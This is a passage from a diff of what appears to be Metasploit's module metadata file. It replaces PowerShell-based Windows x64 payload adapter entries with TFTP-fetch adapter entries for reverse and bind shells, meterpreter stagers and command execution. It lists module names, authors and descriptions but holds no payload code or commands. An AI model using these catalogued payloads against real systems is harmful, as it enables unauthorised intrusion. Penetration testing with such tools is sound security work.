PowerShell.\n\nListen for a connection (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -188405,21 +208380,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/meterpreter/bind_tcp", + "ref_name": "cmd/windows/tftp/x64/custom/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/custom/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, - "payload_cmd/windows/powershell/x64/meterpreter/bind_tcp_rc4": { - "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_tcp_rc4", + "payload_cmd/windows/tftp/x64/custom/bind_named_pipe": { + "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/tftp/x64/custom/bind_named_pipe", "aliases": [ ], @@ -188427,19 +208408,13 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", - "hdm ", - "mihi", - "max3raza", - "RageLtMan" + "Brendan Watters", + "bwatters-r7", + "UserExistsError" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nCustom shellcode stage.\n\nListen for a pipe connection (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -188447,21 +208422,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/meterpreter/bind_tcp_rc4", + "ref_name": "cmd/windows/tftp/x64/custom/bind_named_pipe", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/custom/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_named_pipe" }, - "payload_cmd/windows/powershell/x64/meterpreter/bind_tcp_uuid": { - "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x64)", - "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_tcp_uuid", + "payload_cmd/windows/tftp/x64/custom/bind_tcp": { + "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/custom/bind_tcp", "aliases": [ ], @@ -188469,15 +208450,13 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves" + "Brendan Watters", + "bwatters-r7", + "sf " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nCustom shellcode stage.\n\nListen for a connection (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -188485,21 +208464,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/meterpreter/bind_tcp_uuid", + "ref_name": "cmd/windows/tftp/x64/custom/bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/custom/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp" }, - "payload_cmd/windows/powershell/x64/meterpreter/reverse_http": { - "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)", - "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_http", + "payload_cmd/windows/tftp/x64/custom/bind_tcp_rc4": { + "name": "TFTP Fetch, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/tftp/x64/custom/bind_tcp_rc4", "aliases": [ ], @@ -188507,15 +208492,18 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", + "Brendan Watters", + "bwatters-r7", + "hdm ", "skape ", "sf ", - "OJ Reeves" + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nCustom shellcode stage.\n\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -188523,21 +208511,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_http", + "ref_name": "cmd/windows/tftp/x64/custom/bind_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/custom/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp_rc4" }, - "payload_cmd/windows/powershell/x64/meterpreter/reverse_https": { - "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)", - "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_https", + "payload_cmd/windows/tftp/x64/custom/bind_tcp_uuid": { + "name": "TFTP Fetch, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/tftp/x64/custom/bind_tcp_uuid", "aliases": [ ], @@ -188545,18 +208539,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "skape ", + "Brendan Watters", + "bwatters-r7", "sf ", - "OJ Reeves", - "hdm ", - "agix", - "rwincey" + "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nCustom shellcode stage.\n\nListen for a connection with UUID Support (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -188564,21 +208554,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_https", + "ref_name": "cmd/windows/tftp/x64/custom/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/custom/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp_uuid" }, - "payload_cmd/windows/powershell/x64/meterpreter/reverse_named_pipe": { - "name": "Powershell Exec, Windows x64 Reverse Named Pipe (SMB) Stager", - "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_named_pipe", + "payload_cmd/windows/tftp/x64/custom/reverse_http": { + "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_http", "aliases": [ ], @@ -188586,15 +208582,13 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "skape ", - "sf ", + "Brendan Watters", + "bwatters-r7", "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker via a named pipe pivot", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -188602,21 +208596,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_named_pipe", + "ref_name": "cmd/windows/tftp/x64/custom/reverse_http", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/custom/reverse_http", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_http" }, - "payload_cmd/windows/powershell/x64/meterpreter/reverse_tcp": { - "name": "Powershell Exec, Windows x64 Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_tcp", + "payload_cmd/windows/tftp/x64/custom/reverse_https": { + "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_https", "aliases": [ ], @@ -188624,15 +208624,15 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves" + "Brendan Watters", + "bwatters-r7", + "hdm ", + "agix", + "rwincey" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -188640,21 +208640,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_tcp", + "ref_name": "cmd/windows/tftp/x64/custom/reverse_https", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/custom/reverse_https", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_https" }, - "payload_cmd/windows/powershell/x64/meterpreter/reverse_tcp_rc4": { - "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_tcp_rc4", + "payload_cmd/windows/tftp/x64/custom/reverse_named_pipe": { + "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_named_pipe", "aliases": [ ], @@ -188662,19 +208668,13 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", - "hdm ", - "mihi", - "max3raza", - "RageLtMan" + "Brendan Watters", + "bwatters-r7", + "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nCustom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -188682,21 +208682,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_tcp_rc4", + "ref_name": "cmd/windows/tftp/x64/custom/reverse_named_pipe", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/custom/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_named_pipe" }, - "payload_cmd/windows/powershell/x64/meterpreter/reverse_tcp_uuid": { - "name": "Powershell Exec, Reverse TCP Stager with UUID Support (Windows x64)", - "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_tcp_uuid", + "payload_cmd/windows/tftp/x64/custom/reverse_tcp": { + "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_tcp", "aliases": [ ], @@ -188704,15 +208710,13 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves" + "Brendan Watters", + "bwatters-r7", + "sf " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nCustom shellcode stage.\n\nConnect back to the attacker (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -188720,21 +208724,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_tcp_uuid", + "ref_name": "cmd/windows/tftp/x64/custom/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/custom/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp" }, - "payload_cmd/windows/powershell/x64/meterpreter/reverse_winhttp": { - "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (winhttp)", - "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_winhttp", + "payload_cmd/windows/tftp/x64/custom/reverse_tcp_rc4": { + "name": "TFTP Fetch, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_tcp_rc4", "aliases": [ ], @@ -188742,15 +208752,18 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", + "Brendan Watters", + "bwatters-r7", + "hdm ", "skape ", "sf ", - "OJ Reeves" + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows x64 winhttp)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nCustom shellcode stage.\n\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -188758,21 +208771,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_winhttp", + "ref_name": "cmd/windows/tftp/x64/custom/reverse_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/custom/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, - "payload_cmd/windows/powershell/x64/meterpreter/reverse_winhttps": { - "name": "Powershell Exec, Windows x64 Reverse HTTPS Stager (winhttp)", - "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_winhttps", + "payload_cmd/windows/tftp/x64/custom/reverse_tcp_uuid": { + "name": "TFTP Fetch, Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_tcp_uuid", "aliases": [ ], @@ -188780,15 +208799,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "skape ", + "Brendan Watters", + "bwatters-r7", "sf ", "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -188796,21 +208814,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_winhttps", + "ref_name": "cmd/windows/tftp/x64/custom/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/custom/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, - "payload_cmd/windows/powershell/x64/peinject/bind_ipv6_tcp": { - "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_ipv6_tcp", + "payload_cmd/windows/tftp/x64/custom/reverse_winhttp": { + "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_winhttp", "aliases": [ ], @@ -188818,11 +208842,11 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "ege ", - "sf " + "Brendan Watters", + "bwatters-r7", + "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 winhttp)", "references": [ ], @@ -188832,21 +208856,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/peinject/bind_ipv6_tcp", + "ref_name": "cmd/windows/tftp/x64/custom/reverse_winhttp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/custom/reverse_winhttp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_winhttp" }, - "payload_cmd/windows/powershell/x64/peinject/bind_ipv6_tcp_uuid": { - "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_ipv6_tcp_uuid", + "payload_cmd/windows/tftp/x64/custom/reverse_winhttps": { + "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_winhttps", "aliases": [ ], @@ -188854,12 +208884,11 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "ege ", - "sf ", + "Brendan Watters", + "bwatters-r7", "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", "references": [ ], @@ -188869,21 +208898,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/peinject/bind_ipv6_tcp_uuid", + "ref_name": "cmd/windows/tftp/x64/custom/reverse_winhttps", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/custom/reverse_winhttps", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_winhttps" }, - "payload_cmd/windows/powershell/x64/peinject/bind_named_pipe": { - "name": "Powershell Exec, Windows x64 Bind Named Pipe Stager", - "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_named_pipe", + "payload_cmd/windows/tftp/x64/exec": { + "name": "TFTP Fetch, Windows x64 Execute Command", + "fullname": "payload/cmd/windows/tftp/x64/exec", "aliases": [ ], @@ -188891,11 +208926,10 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "ege ", - "UserExistsError" + "Brendan Watters", + "sf " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nExecute an arbitrary command (Windows x64)", "references": [ ], @@ -188905,21 +208939,25 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/peinject/bind_named_pipe", + "ref_name": "cmd/windows/tftp/x64/exec", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/exec", + "staged": false }, - "payload_cmd/windows/powershell/x64/peinject/bind_tcp": { - "name": "Powershell Exec, Windows x64 Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_tcp", + "payload_cmd/windows/tftp/x64/loadlibrary": { + "name": "TFTP Fetch, Windows x64 LoadLibrary Path", + "fullname": "payload/cmd/windows/tftp/x64/loadlibrary", "aliases": [ ], @@ -188927,11 +208965,11 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "ege ", + "Brendan Watters", + "scriptjunkie", "sf " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a connection (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nLoad an arbitrary x64 library path", "references": [ ], @@ -188941,21 +208979,25 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/peinject/bind_tcp", + "ref_name": "cmd/windows/tftp/x64/loadlibrary", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/loadlibrary", + "staged": false }, - "payload_cmd/windows/powershell/x64/peinject/bind_tcp_rc4": { - "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_tcp_rc4", + "payload_cmd/windows/tftp/x64/messagebox": { + "name": "TFTP Fetch, Windows MessageBox x64", + "fullname": "payload/cmd/windows/tftp/x64/messagebox", "aliases": [ ], @@ -188963,16 +209005,10 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "ege ", - "hdm ", - "skape ", - "sf ", - "mihi", - "max3raza", - "RageLtMan" + "Brendan Watters", + "pasta " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nSpawn a dialog via MessageBox using a customizable title, text & icon", "references": [ ], @@ -188982,21 +209018,25 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/peinject/bind_tcp_rc4", + "ref_name": "cmd/windows/tftp/x64/messagebox", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/messagebox", + "staged": false }, - "payload_cmd/windows/powershell/x64/peinject/bind_tcp_uuid": { - "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x64)", - "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_tcp_uuid", + "payload_cmd/windows/tftp/x64/meterpreter/bind_ipv6_tcp": { + "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter/bind_ipv6_tcp", "aliases": [ ], @@ -189004,14 +209044,15 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "ege ", + "Brendan Watters", + "skape ", "sf ", "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for an IPv6 connection (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189019,21 +209060,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/peinject/bind_tcp_uuid", + "ref_name": 